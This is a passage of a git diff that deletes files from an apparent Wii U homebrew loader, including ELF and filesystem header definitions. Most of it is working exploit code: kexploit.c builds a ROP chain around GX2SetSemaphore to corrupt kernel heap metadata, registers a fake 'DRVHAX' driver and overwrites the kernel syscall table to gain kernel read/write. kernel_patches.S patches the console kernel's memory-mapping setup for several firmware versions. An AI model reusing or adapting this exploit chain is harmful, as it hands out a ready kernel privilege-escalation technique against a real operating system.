Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/dsrom/hbl_loader/fs_defs.h b/dsrom/hbl_loader/fs_defs.h deleted file mode 100644 index 1b3795b..0000000 --- a/dsrom/hbl_loader/fs_defs.h +++ /dev/null @@ -1,60 +0,0 @@ -#ifndef FS_DEFS_H -#define FS_DEFS_H - -#ifdef __cplusplus -extern "C" { -#endif - - -/* FS defines and types */ -#define FS_MAX_LOCALPATH_SIZE 511 -#define FS_MAX_MOUNTPATH_SIZE 128 -#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) -#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE - -#define FS_STATUS_OK 0 -#define FS_RET_UNSUPPORTED_CMD 0x0400 -#define FS_RET_NO_ERROR 0x0000 -#define FS_RET_ALL_ERROR (unsigned int)(-1) - -#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 - -/* max length of file/dir name */ -#define FS_MAX_ENTNAME_SIZE 256 - -#define FS_SOURCETYPE_EXTERNAL 0 -#define FS_SOURCETYPE_HFIO 1 -#define FS_SOURCETYPE_HFIO 1 - -#define FS_MOUNT_SOURCE_SIZE 0x300 -#define FS_CLIENT_SIZE 0x1700 -#define FS_CMD_BLOCK_SIZE 0xA80 - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -typedef struct -{ - FSStat stat; - char name[FS_MAX_ENTNAME_SIZE]; -} FSDirEntry; - - -#ifdef __cplusplus -} -#endif - -#endif /* FS_DEFS_H */ - diff --git a/dsrom/hbl_loader/kernel_patches.S b/dsrom/hbl_loader/kernel_patches.S deleted file mode 100644 index f5c0936..0000000 --- a/dsrom/hbl_loader/kernel_patches.S +++ /dev/null @@ -1,282 +0,0 @@ -#if (VER == 550) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D624 - # not all of those NOP address are required for every firmware - # mainly these should stop the kernel from removing our IBAT4 and DBAT5 - #define BAT_SET_NOP_ADDR_1 0xFFF06B6C - #define BAT_SET_NOP_ADDR_2 0xFFF06BF8 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D70C - #define BAT_SET_NOP_ADDR_6 0xFFF1D728 - #define BAT_SET_NOP_ADDR_7 0xFFF1D82C - - #define BAT_SET_NOP_ADDR_8 0xFFEE11C4 - #define BAT_SET_NOP_ADDR_9 0xFFEE11C8 - -#elif ((VER == 532) || (VER == 540)) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D638 - - # not all of those NOP address are required for every firmware - # mainly these should stop the kernel from removing our IBAT4 and DBAT5 - #define BAT_SET_NOP_ADDR_1 0xFFF06A14 - #define BAT_SET_NOP_ADDR_2 0xFFF06AA0 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D720 - #define BAT_SET_NOP_ADDR_6 0xFFF1D73C - #define BAT_SET_NOP_ADDR_7 0xFFF1D840 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC - -#elif ((VER == 500) || (VER == 510)) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D518 - - #define BAT_SET_NOP_ADDR_1 0xFFF0697C - #define BAT_SET_NOP_ADDR_2 0xFFF06A08 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D600 - #define BAT_SET_NOP_ADDR_6 0xFFF1D61C - #define BAT_SET_NOP_ADDR_7 0xFFF1D720 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC -#elif VER == 410 - #define BAT_SETUP_HOOK_ADDR 0xFFF1AD00 - - #define BAT_SET_NOP_ADDR_1 0xFFF06708 - #define BAT_SET_NOP_ADDR_2 0xFFF06794 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1ADE8 - #define BAT_SET_NOP_ADDR_6 0xFFF1AE04 - #define BAT_SET_NOP_ADDR_7 0xFFF1AF08 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC -#elif VER == 400 - #define BAT_SETUP_HOOK_ADDR 0xFFF1A440 - - #define BAT_SET_NOP_ADDR_1 0xFFF066FC - #define BAT_SET_NOP_ADDR_2 0xFFF06788 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1A528 - #define BAT_SET_NOP_ADDR_6 0xFFF1A544 - //define BAT_SET_NOP_ADDR_7 not present in 400 - - #define BAT_SET_NOP_ADDR_8 0xFFEE0F50 - #define BAT_SET_NOP_ADDR_9 0xFFEE0F54 -#elif (VER == 310) - #define BAT_SETUP_HOOK_ADDR 0xFFF19EC4 - - #define BAT_SET_NOP_ADDR_1 0xFFF06590 - #define BAT_SET_NOP_ADDR_2 0xFFF0661C - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF19FAC - #define BAT_SET_NOP_ADDR_6 0xFFF19FC8 -// #define BAT_SET_NOP_ADDR_7 not present in 3.1.0 - - #define BAT_SET_NOP_ADDR_8 0xFFEE0FB0 - #define BAT_SET_NOP_ADDR_9 0xFFEE0FB4 -#elif (VER == 300) - #define BAT_SETUP_HOOK_ADDR 0xFFF19E2C - - #define BAT_SET_NOP_ADDR_1 0xFFF06590 - #define BAT_SET_NOP_ADDR_2 0xFFF0661C - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF19F14 - #define BAT_SET_NOP_ADDR_6 0xFFF19F30 -// #define BAT_SET_NOP_ADDR_7 not present in 3.0.x - - #define BAT_SET_NOP_ADDR_8 0xFFEE0DB8 - #define BAT_SET_NOP_ADDR_9 0xFFEE0DBC -#else - #error Please define valid values for kernel setup. -#endif - -#ifdef USE_SD_LOADER - #define BAT_SETUP_HOOK_ENTRY 0x00800000 -#else - #define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000) -#endif - -#define BAT4U_VAL 0x008000FF -#if VER >= 410 - #define BAT4L_VAL 0x30800012 -#elif VER <= 400 - #define BAT4L_VAL 0x4E800012 -#else - #error Please define valid value for firmware setup. -#endif - -#define SET_R4_TO_ADDR(addr) \ - lis r3, addr@h ; \ - ori r3, r3, addr@l ; \ - stw r4, 0(r3) ; \ - dcbf 0, r3 ; \ - icbi 0, r3 ; - - .globl SC_0x25_KernelCopyData -SC_0x25_KernelCopyData: - li r0, 0x2500 - sc - blr - - .globl Syscall_0x36 -Syscall_0x36: - li r0, 0x3600 - sc - blr - - .globl KernelPatches -KernelPatches: - # store the old DBAT0 - mfdbatu r5, 0 - mfdbatl r6, 0 - - # memory barrier - eieio - isync - - # setup DBAT0 for access to kernel code memory - lis r3, 0xFFF0 - ori r3, r3, 0x0002 - mtdbatu 0, r3 - lis r3, 0xFFF0 - ori r3, r3, 0x0032 - mtdbatl 0, r3 - - # memory barrier - eieio - isync - - # SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though - # just chosen because its simple - lis r3, BAT_SETUP_HOOK_ADDR@h - ori r3, r3, BAT_SETUP_HOOK_ADDR@l - - # make the kernel setup our section in IBAT4 and - # jump to our function to restore the replaced instructions - lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h - ori r4, r4, BAT4L_VAL@h - stw r4, 0x00(r3) - lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l - ori r4, r4, BAT4L_VAL@l - stw r4, 0x04(r3) - lis r4, 0x7cf1 # mtspr 561, r7 - ori r4, r4, 0x8ba6 - stw r4, 0x08(r3) - lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h - ori r4, r4, BAT4U_VAL@h - stw r4, 0x0C(r3) - lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l - ori r4, r4, BAT4U_VAL@l - stw r4, 0x10(r3) - lis r4, 0x7cf0 # mtspr 560, r7 - ori r4, r4, 0x8ba6 - stw r4, 0x14(r3) - lis r4, 0x7c00 # eieio - ori r4, r4, 0x06ac - stw r4, 0x18(r3) - lis r4, 0x4c00 # isync - ori r4, r4, 0x012c - stw r4, 0x1C(r3) - lis r4, 0x7ce8 # mflr r7 - ori r4, r4, 0x02a6 - stw r4, 0x20(r3) - lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY - ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l - stw r4, 0x24(r3) - - # flush and invalidate the replaced instructions - lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h - ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l - dcbf 0, r3 - icbi 0, r3 - lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h - ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l - dcbf 0, r3 - icbi 0, r3 - sync - - # setup IBAT4 for core 1 at this position (not really required but wont hurt) - # IBATL 4 - lis r3, BAT4L_VAL@h - ori r3, r3, BAT4L_VAL@l - mtspr 561, r3 - - # IBATU 4 - lis r3, BAT4U_VAL@h - ori r3, r3, BAT4U_VAL@l - mtspr 560, r3 - - # memory barrier - eieio - isync - - # write "nop" to some positions - lis r4, 0x6000 - # nop on IBATU 4 and DBAT 5 set/reset -#ifdef BAT_SET_NOP_ADDR_1 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1) -#endif -#ifdef BAT_SET_NOP_ADDR_2 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2) -#endif -#ifdef BAT_SET_NOP_ADDR_3 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3) -#endif -#ifdef BAT_SET_NOP_ADDR_4 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4) -#endif -#ifdef BAT_SET_NOP_ADDR_5 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5) -#endif -#ifdef BAT_SET_NOP_ADDR_6 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6) -#endif -#ifdef BAT_SET_NOP_ADDR_7 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7) -#endif - -#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9)) - # memory barrier - eieio - isync - - # setup DBAT0 for access to kernel code memory - lis r3, 0xFFEE - ori r3, r3, 0x0002 - mtdbatu 0, r3 - lis r3, 0xFFEE - ori r3, r3, 0x0032 - mtdbatl 0, r3 - - # memory barrier - eieio - isync - - # write "nop" to some positions - lis r4, 0x6000 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8) - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9) -#endif - - # memory barrier - eieio - isync - - # restore DBAT 0 and return from interrupt - mtdbatu 0, r5 - mtdbatl 0, r6 - - # memory barrier - eieio - isync - - blr - diff --git a/dsrom/hbl_loader/kexploit.c b/dsrom/hbl_loader/kexploit.c deleted file mode 100644 index 5fa4419..0000000 --- a/dsrom/hbl_loader/kexploit.c +++ /dev/null @@ -1,245 +0,0 @@ -#include "kexploit.h" -#include "coreinit.h" - -void wait(unsigned int coreinit_handle, unsigned int t); -void doBrowserShutdown(unsigned int coreinit_handle); -void setupOSScreen(unsigned int coreinit_handle); -void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); -void exitOSScreen(unsigned int coreinit_handle); -void callSysExit(unsigned int coreinit_handle, void *sysFunc); - -/* Initial setup code stolen from Pong, makes race much more reliable */ -void run_kexploit(private_data_t *private_data) -{ - /* Get a handle to coreinit.rpl and gx2.rpl */ - unsigned int coreinit_handle = private_data->coreinit_handle; - unsigned int gx2_handle = 0; - OSDynLoad_Acquire("gx2.rpl", &gx2_handle); - - /* Exit functions */ - void (*__PPCExit)(); - OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); - - /* Memory functions */ - void (*DCFlushRange)(void *buffer, uint32_t length); - void* (*OSAllocFromSystem)(uint32_t size, int align); - void (*OSFreeToSystem)(void *ptr); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - - /* OS thread functions */ - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr); - int (*OSResumeThread)(void *thread); - void (*OSExitThread)(); - int (*OSIsThreadTerminated)(void *thread); - void (*OSYieldThread)(void); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); - - /* OSDriver functions */ - uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; - uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); - uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; - uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); - uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; - uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); - uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; - uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); - - /* GX2 functions */ - void (*GX2SetSemaphore)(uint64_t *sem, int action); - void (*GX2Init)(void *arg); - void (*GX2Shutdown)(void); - OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); - OSDynLoad_FindExport(gx2_handle, 0, "GX2Init", &GX2Init); - OSDynLoad_FindExport(gx2_handle, 0, "GX2Shutdown", &GX2Shutdown); - - /* Init GX2 again */ - GX2Init((void*)0); - - /* Allocate space for DRVHAX */ - uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); - - /* Set the kernel heap metadata entry */ - uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); - metadata[0] = (uint32_t)drvhax; - metadata[1] = (uint32_t)-0x4c; - metadata[2] = (uint32_t)-1; - metadata[3] = (uint32_t)-1; - - /* Find some gadgets */ - uint32_t gx2data[] = {0xFC2A0000}; - uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); - uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); - uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; - uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); - uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; - uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; - uint32_t gx2rop[] = {0x819A0004, 0x55800036, 0x7C006040, 0x40820054, 0x2C190000, 0x4182004C, 0x2C1F0000, 0x40820044, 0x2C1D0000, 0x4182003C, 0x2C1E0000}; - uint32_t gx2rop_addr = (uint32_t) find_gadget(gx2rop, 0x2C, 0x01000000); - - /* Modify a next ptr on the heap */ - uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; - - /* Make a thread to modify the semaphore */ - OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8); - uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20); - if (!OSCreateThread(thread, (void*)gx2rop_addr, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); - - /* Set up the ROP chain */ - thread->gpr[1] = (uint32_t)stack; - thread->gpr[3] = kpaddr; - thread->gpr[30] = gx2data_addr; - thread->gpr[31] = 1; - thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; - - stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ - stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ - stack[0x2c/4] = 1; /* r31 = 1 (signal) */ - - stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ - stack[0x38/4] = kpaddr; - - stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ - - stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ - stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ - stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ - - stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ - - stack[0x94/4] = (uint32_t)OSExitThread; - - DCFlushRange(thread, 0x1000); - DCFlushRange(stack, 0x1000); - - /* Start the thread */ - OSResumeThread(thread); - - /* Wait for a while */ - while(OSIsThreadTerminated(thread) == 0) - { - OSYieldThread(); - } - - /* Free stuff */ - private_data->MEMFreeToDefaultHeap(thread); - private_data->MEMFreeToDefaultHeap(stack); - - /* Register a new OSDriver, DRVHAX */ - char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; - Register(drvname, 6, NULL, NULL); - - /* Modify its save area to point to the kernel syscall table */ - drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4); - - /* Use DRVHAX to install the read and write syscalls */ - uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; - CopyToSaveArea(drvname, 6, syscalls, 8); - - /* Clean up the heap and driver list so we can exit */ - kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); - kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); - - /* Shut down GX2 again */ - GX2Shutdown(); -} - -/* Simple memcmp() implementation */ -int memcmp(void *ptr1, void *ptr2, uint32_t length) -{ - uint8_t *check1 = (uint8_t*) ptr1; - uint8_t *check2 = (uint8_t*) ptr2; - uint32_t i; - for (i = 0; i < length; i++) - { - if (check1[i] != check2[i]) return 1; - } - - return 0; -} - -void* memcpy(void* dst, const void* src, uint32_t size) -{ - uint32_t i; - for (i = 0; i < size; i++) - ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; - return dst; -} - -/* Find a gadget based on a sequence of words */ -void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) -{ - uint32_t *ptr; - - /* Search code before JIT area first */ - for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - /* Restart search after JIT */ - for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - OSFatal("Gadget not found!"); - return (void*)0; -} - -/* Read a 32-bit word with kernel permissions */ -uint32_t __attribute__ ((noinline)) kern_read(const void *addr) -{ - uint32_t result; - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "li 5,0\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%1\n" - "li 0,0x3400\n" - "mr %0,1\n" - "sc\n" - "nop\n" - "mr 1,%0\n" - "mr %0,3\n" - : "=r"(result) - : "b"(addr) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); - - return result; -} - -/* Write a 32-bit word with kernel permissions */ -void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) -{ - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "mr 5,%1\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%0\n" - "mr %1,1\n" - "li 0,0x3500\n" - "sc\n" - "nop\n" - "mr 1,%1\n" - : - : "r"(addr), "r"(value) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); -} diff --git a/dsrom/hbl_loader/kexploit.h b/dsrom/hbl_loader/kexploit.h deleted file mode 100644 index 096aa97..0000000 --- a/dsrom/hbl_loader/kexploit.h +++ /dev/null @@ -1,51 +0,0 @@ -#ifndef KEXPLOIT_H -#define KEXPLOIT_H - -#include "structs.h" -#include "types.h" - -/* Wait times for CPU0 and CPU2 */ -#define CPU0_WAIT_TIME 80 -#define CPU2_WAIT_TIME 92 - -/* Gadget finding addresses */ -#define JIT_ADDRESS 0x01800000 -#define CODE_ADDRESS_START 0x0D800000 -#define CODE_ADDRESS_END 0x0F848A0C - -/* Kernel addresses, stolen from Chadderz */ -#define KERN_HEAP 0xFF200000 -#define KERN_HEAP_PHYS 0x1B800000 - -#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown -#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games -#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader -#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu -#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) - -#define KERN_CODE_READ 0xFFF023D4 -#define KERN_CODE_WRITE 0xFFF023F4 -#define KERN_ADDRESS_TBL 0xFFEAB7A0 -#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) - -/* Browser PFID */ -#define PFID_BROWSER 8 - -/* Kernel heap constants */ -#define STARTID_OFFSET 0x08 -#define METADATA_OFFSET 0x14 -#define METADATA_SIZE 0x10 - -/* Size of a Cafe OS thread */ -#define OSTHREAD_SIZE 0x1000 - -void run_kexploit(private_data_t *private_data); - -/* Find a ROP gadget by a sequence of bytes */ -void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); - -/* 